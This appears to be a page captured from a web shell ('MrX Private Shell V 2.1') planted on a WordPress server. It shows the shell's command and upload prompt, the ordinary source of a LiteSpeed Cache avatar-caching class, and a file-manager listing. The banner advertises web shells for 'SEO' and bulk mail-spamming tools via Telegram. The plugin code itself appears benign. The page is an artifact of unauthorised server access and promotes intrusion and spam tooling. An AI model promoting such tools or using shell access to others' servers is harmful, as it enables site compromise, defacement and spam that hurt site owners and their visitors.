__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
<?php
/**
 * The avatar cache class.
 *
 * Caches remote (e.g., Gravatar) avatars locally and rewrites URLs
 * to serve cached copies with a TTL. Supports on-demand generation
 * during page render and batch generation via cron.
 *
 * @since 3.0
 * @package LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Avatar
 */
class Avatar extends Base {

	const TYPE_GENERATE = 'generate';

	/**
	 * Avatar cache TTL (seconds).
	 *
	 * @var int
	 */
	private $_conf_cache_ttl;

	/**
	 * Avatar DB table name.
	 *
	 * @var string
	 */
	private $_tb;

	/**
	 * In-request map from original URL => rewritten URL to avoid duplicates.
	 *
	 * @var array<string,string>
	 */
	private $_avatar_realtime_gen_dict = array();

	/**
	 * Summary/status data for last requests.
	 *
	 * @var array<string,mixed>
	 */
	protected $_summary;

	/**
	 * Init.
	 *
	 * @since 1.4
	 */
	public function __construct() {
		if ( ! $this->conf( self::O_DISCUSS_AVATAR_CACHE ) ) {
			return;
		}

		self::debug2( '[Avatar] init' );

		$this->_tb = $this->cls( 'Data' )->tb( 'avatar' );

		$this->_conf_cache_ttl = $this->conf( self::O_DISCUSS_AVATAR_CACHE_TTL );

		add_filter( 'get_avatar_url', array( $this, 'crawl_avatar' ) );

		$this->_summary = self::get_summary();
	}

	/**
	 * Check whether DB table is needed.
	 *
	 * @since 3.0
	 * @access public
	 * @return bool
	 */
	public function need_db() {
		return (bool) $this->conf( self::O_DISCUSS_AVATAR_CACHE );
	}

	/**
	 * Serve static avatar by md5 (used by local static route).
	 *
	 * @since 3.0
	 * @access public
	 * @param string $md5 MD5 hash of original avatar URL.
	 * @return void
	 */
	public function serve_static( $md5 ) {
		global $wpdb;

		self::debug( '[Avatar] is avatar request' );

		if ( strlen( $md5 ) !== 32 ) {
			self::debug( '[Avatar] wrong md5 ' . $md5 );
			return;
		}

		$url = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->prepare(
				'SELECT url FROM `' . $this->_tb . '` WHERE md5 = %s', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
				$md5
			)
		);

		if ( ! $url ) {
			self::debug( '[Avatar] no matched url for md5 ' . $md5 );
			return;
		}

		$url = $this->_generate( $url );

		wp_safe_redirect( $url );
		exit;
	}

	/**
	 * Localize/replace avatar URL with cached one (filter callback).
	 *
	 * @since 3.0
	 * @access public
	 * @param string $url Original avatar URL.
	 * @return string Rewritten/cached avatar URL (or original).
	 */
	public function crawl_avatar( $url ) {
		if ( ! $url ) {
			return $url;
		}

		// Check if already generated in this request.
		if ( ! empty( $this->_avatar_realtime_gen_dict[ $url ] ) ) {
			self::debug2( '[Avatar] already in dict [url] ' . $url );
			return $this->_avatar_realtime_gen_dict[ $url ];
		}

		$realpath = $this->_realpath( $url );
		$mtime    = file_exists( $realpath ) ? filemtime( $realpath ) : false;

		if ( $mtime && time() - $mtime <= $this->_conf_cache_ttl ) {
			self::debug2( '[Avatar] cache file exists [url] ' . $url );
			return $this->_rewrite( $url, $mtime );
		}

		// Only handle gravatar or known remote avatar providers; keep generic check for "gravatar.com".
		if ( strpos( $url, 'gravatar.com' ) === false ) {
			return $url;
		}

		// Throttle generation.
		if ( ! empty( $this->_summary['curr_request'] ) && time() - $this->_summary['curr_request'] < 300 ) {
			self::debug2( '[Avatar] Bypass generating due to interval limit [url] ' . $url );
			return $url;
		}

		// Generate immediately and track for this request.
		$this->_avatar_realtime_gen_dict[ $url ] = $this->_generate( $url );

		return $this->_avatar_realtime_gen_dict[ $url ];
	}

	/**
	 * Count queued avatars (expired ones) for cron.
	 *
	 * @since 3.0
	 * @access public
	 * @return int|false
	 */
	public function queue_count() {
		global $wpdb;

		// If var not exists, means table not exists // todo: not true.
		if ( ! $this->_tb ) {
			return false;
		}

		$cnt = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->prepare(
				'SELECT COUNT(*) FROM `' . $this->_tb . '` WHERE dateline < %d', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
				time() - $this->_conf_cache_ttl
			)
		);

		return (int) $cnt;
	}

	/**
	 * Build final local URL for cached avatar.
	 *
	 * @since 3.0
	 * @param string   $url  Original URL.
	 * @param int|null $time Optional filemtime for cache busting.
	 * @return string Local URL.
	 */
	private function _rewrite( $url, $time = null ) {
		$qs = $time ? '?ver=' . $time : '';
		return LITESPEED_STATIC_URL . '/avatar/' . $this->_filepath( $url ) . $qs;
	}

	/**
	 * Generate filesystem realpath for cache file.
	 *
	 * @since 3.0
	 * @access private
	 * @param string $url Original URL.
	 * @return string Absolute filesystem path.
	 */
	private function _realpath( $url ) {
		return LITESPEED_STATIC_DIR . '/avatar/' . $this->_filepath( $url );
	}

	/**
	 * Get relative filepath for cached avatar.
	 *
	 * @since 4.0
	 * @param string $url Original URL.
	 * @return string Relative path under avatar/ (may include blog id).
	 */
	private function _filepath( $url ) {
		$filename = md5( $url ) . '.jpg';
		if ( is_multisite() ) {
			$filename = get_current_blog_id() . '/' . $filename;
		}
		return $filename;
	}

	/**
	 * Cron generation for expired avatars.
	 *
	 * @since 3.0
	 * @access public
	 * @param bool $force Bypass throttle.
	 * @return void
	 */
	public static function cron( $force = false ) {
		global $wpdb;

		$_instance = self::cls();
		if ( ! $_instance->queue_count() ) {
			self::debug( '[Avatar] no queue' );
			return;
		}

		// For cron, need to check request interval too.
		if ( ! $force ) {
			if ( ! empty( $_instance->_summary['curr_request'] ) && time() - $_instance->_summary['curr_request'] < 300 ) {
				self::debug( '[Avatar] curr_request too close' );
				return;
			}
		}

		$list = $wpdb->get_results( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->prepare(
				'SELECT url FROM `' . $_instance->_tb . '` WHERE dateline < %d ORDER BY id DESC LIMIT %d', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
				time() - $_instance->_conf_cache_ttl,
				(int) apply_filters( 'litespeed_avatar_limit', 30 )
			)
		);
		self::debug( '[Avatar] cron job [count] ' . ( $list ? count( $list ) : 0 ) );

		if ( $list ) {
			foreach ( $list as $v ) {
				self::debug( '[Avatar] cron job [url] ' . $v->url );
				$_instance->_generate( $v->url );
			}
		}
	}

	/**
	 * Download and store the avatar locally, then update DB row.
	 *
	 * @since 3.0
	 * @access private
	 * @param string $url Original avatar URL.
	 * @return string Rewritten local URL (fallback to original on failure).
	 */
	private function _generate( $url ) {
		global $wpdb;

		$file = $this->_realpath( $url );

		// Mark request start
		self::save_summary(
			array(
				'curr_request' => time(),
			)
		);

		// Ensure cache directory exists
		$this->_maybe_mk_cache_folder( 'avatar' );

		$response = wp_safe_remote_get(
			$url,
			array(
				'timeout'  => 180,
				'stream'   => true,
				'filename' => $file,
			)
		);

		self::debug( '[Avatar] _generate [url] ' . $url );

		// Parse response data
		if ( is_wp_error( $response ) ) {
			$error_message = $response->get_error_message();
			if ( file_exists( $file ) ) {
				wp_delete_file( $file );
			}
			self::debug( '[Avatar] failed to get: ' . $error_message );
			return $url;
		}

		// Save summary data
		self::save_summary(
			array(
				'last_spent'   => time() - $this->_summary['curr_request'],
				'last_request' => $this->_summary['curr_request'],
				'curr_request' => 0,
			)
		);

		// Update/insert DB record
		$md5 = md5( $url );

		$existed = $wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->prepare(
				'UPDATE `' . $this->_tb . '` SET dateline = %d WHERE md5 = %s', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
				time(),
				$md5
			)
		);

		if ( ! $existed ) {
			$wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
				$wpdb->prepare(
					'INSERT INTO `' . $this->_tb . '` (url, md5, dateline) VALUES (%s, %s, %d)', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
					$url,
					$md5,
					time()
				)
			);
		}

		self::debug( '[Avatar] saved avatar ' . $file );

		return $this->_rewrite( $url );
	}

	/**
	 * Handle all request actions from main cls.
	 *
	 * @since 3.0
	 * @access public
	 * @return void
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ( $type ) {
			case self::TYPE_GENERATE:
				self::cron( true );
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}

Filemanager

Name Type Size Permission Actions
cdn Folder 0755
data_structure Folder 0755
activation.cls.php File 17.44 KB 0644
admin-display.cls.php File 48.85 KB 0644
admin-settings.cls.php File 10.81 KB 0644
admin.cls.php File 5.05 KB 0644
api.cls.php File 10.44 KB 0644
avatar.cls.php File 8.68 KB 0644
base.cls.php File 32.96 KB 0644
cdn.cls.php File 13.11 KB 0644
cloud.cls.php File 55.06 KB 0644
conf.cls.php File 17.31 KB 0644
control.cls.php File 21.18 KB 0644
core.cls.php File 21.01 KB 0644
crawler-map.cls.php File 14.91 KB 0644
crawler.cls.php File 42.1 KB 0644
css.cls.php File 15.27 KB 0644
data.cls.php File 16.49 KB 0644
data.upgrade.func.php File 3.07 KB 0644
db-optm.cls.php File 10.33 KB 0644
debug2.cls.php File 14.23 KB 0644
doc.cls.php File 4.07 KB 0644
error.cls.php File 7.38 KB 0644
esi.cls.php File 27.18 KB 0644
file.cls.php File 10.57 KB 0644
gui.cls.php File 30.17 KB 0644
health.cls.php File 2.83 KB 0644
htaccess.cls.php File 24.06 KB 0644
img-optm.cls.php File 64.27 KB 0644
import.cls.php File 4.29 KB 0644
import.preset.cls.php File 5.5 KB 0644
lang.cls.php File 14.92 KB 0644
localization.cls.php File 3.44 KB 0644
media.cls.php File 35.23 KB 0644
metabox.cls.php File 4.17 KB 0644
object-cache-wp.cls.php File 24.67 KB 0644
object-cache.cls.php File 20.3 KB 0644
object.lib.php File 13.31 KB 0644
optimize.cls.php File 38.66 KB 0644
optimizer.cls.php File 9.41 KB 0644
placeholder.cls.php File 14.19 KB 0644
purge.cls.php File 31.65 KB 0644
report.cls.php File 6.12 KB 0644
rest.cls.php File 7.54 KB 0644
root.cls.php File 13.99 KB 0644
router.cls.php File 20.57 KB 0644
str.cls.php File 3.15 KB 0644
tag.cls.php File 9.26 KB 0644
task.cls.php File 6.12 KB 0644
tool.cls.php File 4.22 KB 0644
ucss.cls.php File 14.33 KB 0644
utility.cls.php File 20.9 KB 0644
vary.cls.php File 20.2 KB 0644
vpi.cls.php File 7.37 KB 0644